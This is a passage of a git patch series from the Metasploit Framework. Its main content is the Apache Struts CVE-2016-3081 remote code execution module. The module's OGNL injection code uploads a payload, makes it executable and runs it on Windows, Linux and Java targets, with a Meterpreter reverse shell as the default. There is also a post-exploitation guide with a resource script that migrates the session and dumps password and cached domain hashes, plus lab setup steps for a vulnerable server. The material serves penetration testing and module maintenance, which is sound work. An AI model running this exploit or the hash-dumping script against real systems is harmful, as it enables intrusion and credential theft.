condition only applies to GET because of the specs. + # RFC-7230: + # A Content-Length header field is normally sent in a POST + # request even when the value is 0 (indicating an empty payload body) + return '' + elsif opts['headers'] && opts['headers']['Content-Length'] + # If the module has a modified content-length header, respect that by + # not setting another one. + return '' + end set_formatted_header("Content-Length", clen) end diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 454850ee86..9efad808f9 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -170,6 +170,16 @@ RSpec.describe Rex::Proto::Http::ClientRequest do :set_content_len_header => { args: 1024, result: "Content-Length: 1024\r\n"} } ], + + [ + "with a POST request and no payload body", + default_options.merge({ + 'method' => 'POST' + }), + { + :set_content_len_header => { args: 0, result: "Content-Length: 0\r\n"} + } + ], ].each do |c, opts, expectations| context c do From ec66410fab6984ba4d8d79331104ae01453730be Mon Sep 17 00:00:00 2001 From: join-us Date: Sat, 30 Apr 2016 23:56:56 +0800 Subject: [PATCH 22/37] add java_stager / windows_stager | exploit with only one http request --- .../exploits/linux/http/struts_dmi_exec.rb | 172 +++++++++--------- 1 file changed, 86 insertions(+), 86 deletions(-) diff --git a/modules/exploits/linux/http/struts_dmi_exec.rb b/modules/exploits/linux/http/struts_dmi_exec.rb index 8c38fff8ef..bb223528a2 100644 --- a/modules/exploits/linux/http/struts_dmi_exec.rb +++ b/modules/exploits/linux/http/struts_dmi_exec.rb @@ -20,34 +20,46 @@ class MetasploitModule < Msf::Exploit::Remote Execution can be performed via method: prefix when Dynamic Method Invocation is enabled. }, - 'Author' => [ 'Nixawk' ], + 'Author' => [ + 'Nixawk', # original metasploit module + 'rungobier' # improved metasploit module + ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-3081' ], [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ] ], - 'Platform' => %w{ linux }, + 'Platform' => %w{ java linux win }, 'Privileged' => true, - 'DefaultOptions' => { - 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid' - }, 'Targets' => [ + ['Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } + ], + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, ] ], 'DisclosureDate' => 'Apr 27 2016', - 'DefaultTarget' => 0)) + 'DefaultTarget' => 2)) register_options( [ Opt::RPORT(8080), - OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']), OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil]) ], self.class) end @@ -56,33 +68,6 @@ class MetasploitModule < Msf::Exploit::Remote super("#{peer} - #{msg}") end - def send_http_request(payload) - uri = normalize_uri(datastore['TARGETURI']) - res = send_request_cgi( - 'uri' => "#{uri}#{payload}", - 'method' => 'POST') - if res && res.code == 404 - fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') - end - res - end - - def parameterize(params) # params is a hash - URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&')) - end - - def generate_rce_payload(code, params_hash) - payload = "?method:" - payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") - payload << "," - payload << Rex::Text.uri_encode(code) - payload << "," - payload << Rex::Text.uri_encode("1?#xx:#request.toString") - payload << "&" - payload << parameterize(params_hash) - payload - end - def temp_path @TMPPATH ||= lambda { path = datastore['TMPPATH'] @@ -94,24 +79,32 @@ class MetasploitModule < Msf::Exploit::Remote }.call end - def upload_file(filename, content) - var_a = rand_text_alpha_lower(4) - var_b = rand_text_alpha_lower(4) - var_c = rand_text_alpha_lower(4) - var_d = rand_text_alpha_lower(4) - - code = "##{var_a}=new sun.misc.BASE64Decoder()," - code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0])))," - code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0]))," - code << "##{var_b}.close()" - - params_hash = { var_c => filename, var_d => content } - payload = generate_rce_payload(code, params_hash) - - send_http_request(payload) + def send_http_request(payload, params_hash) + uri = normalize_uri(datastore['TARGETURI']) + uri = "#{uri}?#{payload}" + resp = send_request_cgi( + 'uri' => uri, + 'version' => '1.1', + 'method' => 'POST', + 'vars_post' => params_hash + ) + if resp && resp.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') + end + resp end - def execute_command(cmd) + def generate_rce_payload(code) + payload = "method:" + payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") + payload << "," + payload << Rex::Text.uri_encode(code) + payload << "," + payload << Rex::Text.uri_encode("1?#xx:#request.toString") + payload + end + + def upload_exec(cmd, filename, content) var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(4) var_c = rand_text_alpha_lower(4) @@ -119,41 +112,19 @@ class MetasploitModule < Msf::Exploit::Remote var_e = rand_text_alpha_lower(4) var_f = rand_text_alpha_lower(4) - code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream()," - code << "##{var_b}=new java.io.InputStreamReader(##{var_a})," - code << "##{var_c}=new java.io.BufferedReader(##{var_b})," - code << "##{var_d}=new char[1024]," - code << "##{var_c}.read(##{var_d})," + code = "##{var_a}=new sun.misc.BASE64Decoder()," + code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0])))," + code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close()," + code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true)," + code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))" + payload = generate_rce_payload(code) - code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," - code << "##{var_e}.println(##{var_d})," - code << "##{var_e}.close()" - - cmd.tr!(' ', '+') if cmd && cmd.include?(' ') - params_hash = { var_f => cmd } - payload = generate_rce_payload(code, params_hash) - - send_http_request(payload) - end - - def linux_stager - payload_exe = rand_text_alphanumeric(4 + rand(4)) - path = temp_path || '/tmp/' - payload_exe = "#{path}#{payload_exe}" - - b64_filename = Rex::Text.encode_base64(payload_exe) - b64_content = Rex::Text.encode_base64(generate_payload_exe) - - print_status("Uploading exploit to #{payload_exe}") - upload_file(b64_filename, b64_content) - - print_status("Attempting to execute the payload...") - execute_command("chmod 700 #{payload_exe}") - execute_command("/bin/sh -c #{payload_exe}") - end - - def exploit - linux_stager + params_hash = { + var_d => Rex::Text.encode_base64(cmd), + var_e => Rex::Text.encode_base64(filename), + var_f => content + } + send_http_request(payload, params_hash) end def check @@ -171,11 +142,11 @@ class MetasploitModule < Msf::Exploit::Remote code << "##{var_a}.print(#parameters.#{var_b}[0])," code << "##{var_a}.close()" + payload = generate_rce_payload(code) params_hash = { var_b => flag } - payload = generate_rce_payload(code, params_hash) begin - resp = send_http_request(payload) + resp = send_http_request(payload, params_hash) rescue Msf::Exploit::Failed return Exploit::CheckCode::Unknown end @@ -187,4 +158,33 @@ class MetasploitModule < Msf::Exploit::Remote end end + def exploit + payload_exe = rand_text_alphanumeric(4 + rand(4)) + case target['Platform'] + when 'java' + payload_exe = "#{temp_path}#{payload_exe}.jar" + pl_exe = payload.encoded_jar.pack + command = "java -jar #{payload_exe}" + when 'linux' + path = datastore['TMPPATH'] || '/tmp/' + pl_exe = generate_payload_exe + payload_exe = "#{path}#{payload_exe}" + command = "/bin/sh -c #{payload_exe}" + when 'win' + path = temp_path || '.\\' + pl_exe = generate_payload_exe + payload_exe = "#{path}#{payload_exe}.exe" + command = "cmd.exe /c #{payload_exe}" + else + fail_with(Failure::NoTarget, 'Unsupported target platform!') + end + + pl_content = pl_exe.unpack('H*').join() + + print_status("Uploading exploit to #{payload_exe}, and executing it.") + upload_exec(command, payload_exe, pl_content) + + handler + end + end From 6a00f2fc5a6414c17610d64ab2abdf171d34be06 Mon Sep 17 00:00:00 2001 From: join-us Date: Sun, 1 May 2016 00:00:29 +0800 Subject: [PATCH 23/37] mv exploits/linux/http/struts_dmi_exec.rb to exploits/multi/http/struts_dmi_exec.rb --- modules/exploits/{linux => multi}/http/struts_dmi_exec.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/{linux => multi}/http/struts_dmi_exec.rb (100%) diff --git a/modules/exploits/linux/http/struts_dmi_exec.rb b/modules/exploits/multi/http/struts_dmi_exec.rb similarity index 100% rename from modules/exploits/linux/http/struts_dmi_exec.rb rename to modules/exploits/multi/http/struts_dmi_exec.rb From 3aca699d0920f944a4b575d2b79af4dbf496fe17 Mon Sep 17 00:00:00 2001 From: Josh Hale Date: Sat, 30 Apr 2016 19:02:45 -0500 Subject: [PATCH 24/37] Add priv_migrate.md --- .../post/windows/manage/priv_migrate.md | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 documentation/modules/post/windows/manage/priv_migrate.md diff --git a/documentation/modules/post/windows/manage/priv_migrate.md b/documentation/modules/post/windows/manage/priv_migrate.md new file mode 100644 index 0000000000..142db2d606 --- /dev/null +++ b/documentation/modules/post/windows/manage/priv_migrate.md @@ -0,0 +1,57 @@ +## Overview +This module will evaluate a Windows Meterpreter session's privileges and migrate accordingly. A session with Admin rights will be migrated to a System owned process as described below. A session with User rights will be migrated to a User level process as described below. If a specified User level process is not running, it will spawn it then migrate. + +The idea of this module is to streamline scripting of post exploitation migration to allow for the immediate running of post modules that require System rights. This module is a nice general addition to the beginning of an autorun script for post Meterpreter session creation. It is particularly useful in situations where incoming sessions may have mixed rights levels, and the session needs to be migrated appropriately for additional post modules to run. It is also useful in situations where migration needs to occur within a short period after the session is created. An example of an autorun script is provided below. + +## Module Options +- ANAME: Allows for the specification of a System level process that the module attempts to migrate to first if the session has Admin rights. +- NAME: Allows for the specification of a User level process that the module attempts to migrate to first if the session has User rights, or if Admin migration fails through all of the default processes. (See below) +- KILL: When set to TRUE, it kills the original process after a successful migration. (Default is FALSE) + +## Module Process +- Retrieve the privilege information about the current session +- If the session has Admin rights it will attempt to migrate to a System owned process in the following order: + - ANAME (Module option, if specified) + - services.exe + - winlogon.exe + - wininit.exe + - lsm.exe + - lsass.exe +- If it is unable to migrate to one of these processes, it drops to User level migration +- If the session has User rights, it attempts to migrate to a User owned process in the below order. If it cannot migrate, it attempts to spawn the process and migrate to the newly spawned process. + - NAME (Module option, if specified) + - explorer.exe + - notepad.exe + +## Using This Module with AutoRun Scripts +The use of autorun scripts with this module is an easy way to automate post exploitation against incoming Meterpreter sessions. Below is basic setup information and a script example where this module comes in handy. + +### Basic Setup Information +Resource file (.rc) scripts can be used to automate many processes in Metasploit. Particularly console startup and scripts that are executed once a session is created. + +Startup scripts are executed using the following example where startup.rc is the startup script, and it is located in the user's home directory. Startup scripts are executed once the Metasploit framework is loaded. + +``` +./msfconsole -r /home/user/startup.rc +``` + +Below is an example startup script that fires up a Meterpreter listener and specifies an autorun script that will be executed when a new session is created. In this example auto.rc is the script to be run after session creation. + +``` +use exploit/multi/handler +set PAYLOAD windows/meterpreter/reverse_https +set LHOST 192.168.1.101 +set LPORT 13002 +set ExitOnSession false +set AutoRunScript multi_console_command -rc /home/user/auto.rc +exploit -j +``` + +### AutoRun Script Example +This example is a script that will use priv_migrate to migrate the session based on session rights. After migration, it executes modules that will retrieve user password hashes and cached domain hashes. Each one of the hash dump modules requires System rights to be successful. Priv_migrate makes it possible to execute these modules in an autorun script. For sessions with User rights, the hash dump modules will fail, but that is unlikely to impact the state of the session. + +``` +run post/windows/manage/priv_migrate +run post/windows/gather/hashdump +run post/windows/gather/cachedump +``` From 71c8ad555e869bbc95dd8e2d639c30be51071f64 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 2 May 2016 14:12:09 -0500 Subject: [PATCH 25/37] Resolve #6839, Make Knowledge Base as default Resolve #6839 --- data/markdown_doc/html_template.erb | 16 +++++++++++++++- data/markdown_doc/markdown.css | 11 ++++------- 2 files changed, 19 insertions(+), 8 deletions(-) diff --git a/data/markdown_doc/html_template.erb b/data/markdown_doc/html_template.erb index ff5dbdcb08..bccb0f4b18 100644 --- a/data/markdown_doc/html_template.erb +++ b/data/markdown_doc/html_template.erb @@ -23,13 +23,27 @@ document.getElementById('overview_info').style.display = "none"; document.getElementById('knowledge_base').style.display = "inline"; } + + function initDoc() { + var kb = document.getElementById('knowledge_base'); + var oi = document.getElementById('overview_info'); + oi.style.display = "none"; + kb.style.display = "inline"; + + var kb_button = document.getElementById('knowledge_base_button'); + var oi_button = document.getElementById('overview_info_button'); + kb_button.style.borderColor = "#ccc"; + kb_button.style.color = "#333"; + oi_button.style.borderColor = "#EEEEEE"; + oi_button.style.color = "#C4C4C4"; + } <% end %> - + <% unless kb.empty? %> diff --git a/data/markdown_doc/markdown.css b/data/markdown_doc/markdown.css index 337c24b85a..2e6fd42b8a 100644 --- a/data/markdown_doc/markdown.css +++ b/data/markdown_doc/markdown.css @@ -114,8 +114,8 @@ pre code { padding:10px 5px; border-style:solid; border-width:1px; - border-color:#ccc; - color:#333; + border-color:#EEEEEE; + color:#C4C4C4; } #knowledge_base_button { font-family:Arial, sans-serif; @@ -123,15 +123,12 @@ pre code { padding:10px 5px; border-style:solid; border-width:1px; - border-color:#EEEEEE; - color:#C4C4C4; + border-color:#ccc; + color:#333; } #overview_info_button:hover, #knowledge_base_button:hover { cursor: pointer; } -#knowledge_base { - display: none; -} #long_list { height:280px; overflow:auto; From ffc91a193c92293d2bb5811fc3e9a282f9b19281 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 2 May 2016 14:23:29 -0500 Subject: [PATCH 26/37] Fix #6841, info -d [module path] not spawning module documentation Fix #6841 --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index a95a5ae6e7..aeef56c6a6 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -802,7 +802,7 @@ class Core print(Serializer::Json.dump_module(mod) + "\n") elsif show_doc print_status("Please wait, generating documentation for #{mod.shortname}") - Msf::Util::DocumentGenerator.get_module_document(mod) + Msf::Util::DocumentGenerator.spawn_module_document(mod) else print(Serializer::ReadableText.dump_module(mod)) end From df44dc9c1c1a4e7dd041d5b07a1dba22f2e9f527 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 2 May 2016 15:03:25 -0500 Subject: [PATCH 27/37] Deprecate exploits/linux/http/struts_dmi_exec Please use exploits/multi/http/struts_dmi_exec, which supports Windows and Java targets. --- .../exploits/linux/http/struts_dmi_exec.rb | 194 ++++++++++++++++++ .../exploits/multi/http/struts_dmi_exec.rb | 13 ++ 2 files changed, 207 insertions(+) create mode 100644 modules/exploits/linux/http/struts_dmi_exec.rb diff --git a/modules/exploits/linux/http/struts_dmi_exec.rb b/modules/exploits/linux/http/struts_dmi_exec.rb new file mode 100644 index 0000000000..0be3a6170e --- /dev/null +++ b/modules/exploits/linux/http/struts_dmi_exec.rb @@ -0,0 +1,194 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Module::Deprecated + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + deprecated(Date.new(2016, 6, 1), 'exploit/multi/http/struts_dmi_exec') + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in Apache Struts + version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code + Execution can be performed via method: prefix when Dynamic Method Invocation + is enabled. + }, + 'Author' => [ 'Nixawk' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-3081' ], + [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ] + ], + 'Platform' => %w{ linux }, + 'Privileged' => true, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid' + }, + 'Targets' => + [ + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ] + ], + 'DisclosureDate' => 'Apr 27 2016', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']), + OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil]) + ], self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def send_http_request(payload) + uri = normalize_uri(datastore['TARGETURI']) + res = send_request_cgi( + 'uri' => "#{uri}#{payload}", + 'method' => 'POST') + if res && res.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') + end + res + end + + def parameterize(params) # params is a hash + URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&')) + end + + def generate_rce_payload(code, params_hash) + payload = "?method:" + payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") + payload << "," + payload << Rex::Text.uri_encode(code) + payload << "," + payload << Rex::Text.uri_encode("1?#xx:#request.toString") + payload << "&" + payload << parameterize(params_hash) + payload + end + + def temp_path + @TMPPATH ||= lambda { + path = datastore['TMPPATH'] + return nil unless path + unless path.end_with?('/') + path << '/' + end + return path + }.call + end + + def upload_file(filename, content) + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(4) + var_c = rand_text_alpha_lower(4) + var_d = rand_text_alpha_lower(4) + + code = "##{var_a}=new sun.misc.BASE64Decoder()," + code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0])))," + code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0]))," + code << "##{var_b}.close()" + + params_hash = { var_c => filename, var_d => content } + payload = generate_rce_payload(code, params_hash) + + send_http_request(payload) + end + + def execute_command(cmd) + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(4) + var_c = rand_text_alpha_lower(4) + var_d = rand_text_alpha_lower(4) + var_e = rand_text_alpha_lower(4) + var_f = rand_text_alpha_lower(4) + + code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream()," + code << "##{var_b}=new java.io.InputStreamReader(##{var_a})," + code << "##{var_c}=new java.io.BufferedReader(##{var_b})," + code << "##{var_d}=new char[1024]," + code << "##{var_c}.read(##{var_d})," + + code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," + code << "##{var_e}.println(##{var_d})," + code << "##{var_e}.close()" + + cmd.tr!(' ', '+') if cmd && cmd.include?(' ') + params_hash = { var_f => cmd } + payload = generate_rce_payload(code, params_hash) + + send_http_request(payload) + end + + def linux_stager + payload_exe = rand_text_alphanumeric(4 + rand(4)) + path = temp_path || '/tmp/' + payload_exe = "#{path}#{payload_exe}" + + b64_filename = Rex::Text.encode_base64(payload_exe) + b64_content = Rex::Text.encode_base64(generate_payload_exe) + + print_status("Uploading exploit to #{payload_exe}") + upload_file(b64_filename, b64_content) + + print_status("Attempting to execute the payload...") + execute_command("chmod 700 #{payload_exe}") + execute_command("/bin/sh -c #{payload_exe}") + end + + def exploit + linux_stager + end + + def check + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(4) + + addend_one = rand_text_numeric(rand(3) + 1).to_i + addend_two = rand_text_numeric(rand(3) + 1).to_i + sum = addend_one + addend_two + flag = Rex::Text.rand_text_alpha(5) + + code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," + code << "##{var_a}.print(#parameters.#{var_b}[0])," + code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two}))," + code << "##{var_a}.print(#parameters.#{var_b}[0])," + code << "##{var_a}.close()" + + params_hash = { var_b => flag } + payload = generate_rce_payload(code, params_hash) + + begin + resp = send_http_request(payload) + rescue Msf::Exploit::Failed + return Exploit::CheckCode::Unknown + end + + if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}") + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + +end diff --git a/modules/exploits/multi/http/struts_dmi_exec.rb b/modules/exploits/multi/http/struts_dmi_exec.rb index bb223528a2..c97a00d7cf 100644 --- a/modules/exploits/multi/http/struts_dmi_exec.rb +++ b/modules/exploits/multi/http/struts_dmi_exec.rb @@ -68,10 +68,23 @@ class MetasploitModule < Msf::Exploit::Remote super("#{peer} - #{msg}") end + def get_target_platform + target.platform.platforms.first + end + def temp_path @TMPPATH ||= lambda { path = datastore['TMPPATH'] return nil unless path + + case get_target_platform + when Msf::Module::Platform::Windows + slash = '\\' + when + slash = '/' + else + end + unless path.end_with?('/') path << '/' end From 027855def43fdcfb60f254281d49b07a35d704d4 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 2 May 2016 15:43:34 -0500 Subject: [PATCH 28/37] Add module documentation for struts_dmi_exec --- .../exploit/multi/http/struts_dmi_exec.md | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/struts_dmi_exec.md diff --git a/documentation/modules/exploit/multi/http/struts_dmi_exec.md b/documentation/modules/exploit/multi/http/struts_dmi_exec.md new file mode 100644 index 0000000000..f2598406e6 --- /dev/null +++ b/documentation/modules/exploit/multi/http/struts_dmi_exec.md @@ -0,0 +1,56 @@ +struts_dmi_exec is a module that exploits Apache Struts 2's Dynamic Method Invocation, +and it supports Windows and Linux platforms. + +## Vulnerable Application + +Apache Struts versions between 2.3.20 and 2.3.28 are vulnerable, except 2.3.20.2 and 2.3.24.2. +The application's struts.xml also needs set ```struts.enable.DynamicMethodInvocation``` to true, +and ```struts.devMode``` to false. + +For testing purposes, here is how you would set up the vulnerable machine: + +1. Download Apache Tomcat +2. Download Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded. +3. Download the vulnerable [Apache Struts application](https://github.com/rapid7/metasploit-framework/files/241784/struts2-blank.tar.gz). +4. Install Java first. Make sure you have the JAVA_HOME environment variable. +5. Extract Apache Tomcat. +6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor. +7. In tomcat-users.xml, add this role: `````` +8. In tomcat-users.xml, add this role to user tomcat: `````` +9. Remove other users. +10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080. +11. Extract the vulnerable struts app: ```tar -xf struts2-blank.tar.gz``` +12. Navigate to the Apache Tomcat server with a browser on port 8080. +13. Click on Manager App +14. In the WAR file to deploy section, deploy struts2-blank.war +15. Stop struts2-blank in the manager app. +16. On the server, ```cd``` to ```apache-tomcat-[version]/webapps/struts2-blank/WEB-INF/classes```, open struts.xml with a text editor. +17. In the XML file, update ```struts.enable.DynamicMethodInvocation``` to true +18. In the XML file, update ```struts.devMode``` to false. +19. Back to Apache Tomcat's manager app. Start the struts2-blank again. + +And now you have a vulnerable server. + + +## Options + +**TMPPATH** + +By default, the struts_dmi_exec exploit should be ready to go without much configuration. However, +in case you need to change where the payload should be uploaded to, make sure to set the correct +target, and then change the TMPPATH datastore option. + +## Scenarios + +struts_dmi_exec supports three platforms: Windows, Linux, and Java. By default, it uses Java, so +you don't need to worry about configuring this. Running the module can be as simple as the usage +explained in the Overview section. + +However, native payload do have their benefits (for example: Windows Meterpreter has better +support than Java), so if you decide to switch to a different platform, here is what you do: + +1. Do ```show targets```, and see which one you should be using +2. Do ```set target [id]``` +3. Do ```show payloads```, which shows you a list of compatible payloads for that target. +4. Do: ```set payload [payload name]``` +5. Do: ```exploit``` From d136844d3b580202b9f542e4915247895169b337 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 3 May 2016 10:42:41 +1000 Subject: [PATCH 29/37] Add error handling around double-bind of ports --- lib/msf/windows_error.rb | 5 ++++ lib/rex/post/meterpreter/channel.rb | 4 ++- .../socket_subsystem/tcp_server_channel.rb | 10 ++----- .../console/command_dispatcher/stdapi/net.rb | 30 +++++++++++-------- 4 files changed, 28 insertions(+), 21 deletions(-) diff --git a/lib/msf/windows_error.rb b/lib/msf/windows_error.rb index 5521a9163f..368a61e62d 100644 --- a/lib/msf/windows_error.rb +++ b/lib/msf/windows_error.rb @@ -236,6 +236,9 @@ class WindowsError PROCESS_MODE_NOT_BACKGROUND = 403 INVALID_ADDRESS = 487 + # Socket stuff + ADDRESS_IN_USE = 10048 + # # Return a string representation of the constant for a number # @@ -687,6 +690,8 @@ class WindowsError "The process is not in background processing mode." when INVALID_ADDRESS "Attempt to access invalid address." + when ADDRESS_IN_USE + "The address/port is already in use." else "#{code}" end diff --git a/lib/rex/post/meterpreter/channel.rb b/lib/rex/post/meterpreter/channel.rb index 50da0dc185..49d9f36e38 100644 --- a/lib/rex/post/meterpreter/channel.rb +++ b/lib/rex/post/meterpreter/channel.rb @@ -113,7 +113,9 @@ class Channel # Transmit the request and wait for the response response = client.send_request(request) - cid = response.get_tlv(TLV_TYPE_CHANNEL_ID).value + cid = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + + return nil unless cid # Create the channel instance channel = klass.new(client, cid, type, flags) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb index 1e460df608..34e56ee8bf 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb @@ -79,14 +79,8 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel def self.open(client, params) c = Channel.create(client, 'stdapi_net_tcp_server', self, CHANNEL_FLAG_SYNCHRONOUS, [ - { - 'type' => TLV_TYPE_LOCAL_HOST, - 'value' => params.localhost - }, - { - 'type' => TLV_TYPE_LOCAL_PORT, - 'value' => params.localport - } + {'type' => TLV_TYPE_LOCAL_HOST, 'value' => params.localhost}, + {'type' => TLV_TYPE_LOCAL_PORT, 'value' => params.localport} ] ) c.params = params c diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb index 92dc5ccd71..71562bcae6 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb @@ -454,20 +454,26 @@ class Console::CommandDispatcher::Stdapi::Net return end - channel = client.net.socket.create( - Rex::Socket::Parameters.new( - 'LocalPort' => rport, - 'Proto' => 'tcp', - 'Server' => true + begin + channel = client.net.socket.create( + Rex::Socket::Parameters.new( + 'LocalPort' => rport, + 'Proto' => 'tcp', + 'Server' => true + ) ) - ) - # Start the local TCP reverse relay in association with this stream - service.start_reverse_tcp_relay(channel, - 'LocalPort' => rport, - 'PeerHost' => lhost, - 'PeerPort' => lport, - 'MeterpreterRelay' => true) + # Start the local TCP reverse relay in association with this stream + service.start_reverse_tcp_relay(channel, + 'LocalPort' => rport, + 'PeerHost' => lhost, + 'PeerPort' => lport, + 'MeterpreterRelay' => true) + rescue Exception => e + print_error("Failed to create relay: #{e.to_s}") + return false + end + else # Validate parameters unless lport && rhost && rport From 60f81a69eaacb4d8ba4b47e48ad0155022da9f78 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 3 May 2016 12:03:37 +1000 Subject: [PATCH 30/37] Remove the pfservice close call on shutdown --- lib/rex/post/meterpreter/client_core.rb | 8 ++++---- .../meterpreter/ui/console/command_dispatcher/core.rb | 1 - 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 41f93b36b9..44c952e6ac 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -599,15 +599,15 @@ class ClientCore < Extension def shutdown request = Packet.create_request('core_shutdown') - # If this is a standard TCP session, send and return - if not client.passive_service - self.client.send_packet(request) - else + if client.passive_service # If this is a HTTP/HTTPS session we need to wait a few seconds # otherwise the session may not receive the command before we # kill the handler. This could be improved by the server side # sending a reply to shutdown first. self.client.send_packet_wait_response(request, 10) + else + # If this is a standard TCP session, send and forget. + self.client.send_packet(request) end true end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index f0cc7b513c..aa76f2954e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -272,7 +272,6 @@ class Console::CommandDispatcher::Core # def cmd_exit(*args) print_status("Shutting down Meterpreter...") - client.pfservice.stop if client.pfservice client.core.shutdown rescue nil client.shutdown_passive_dispatcher shell.stop From 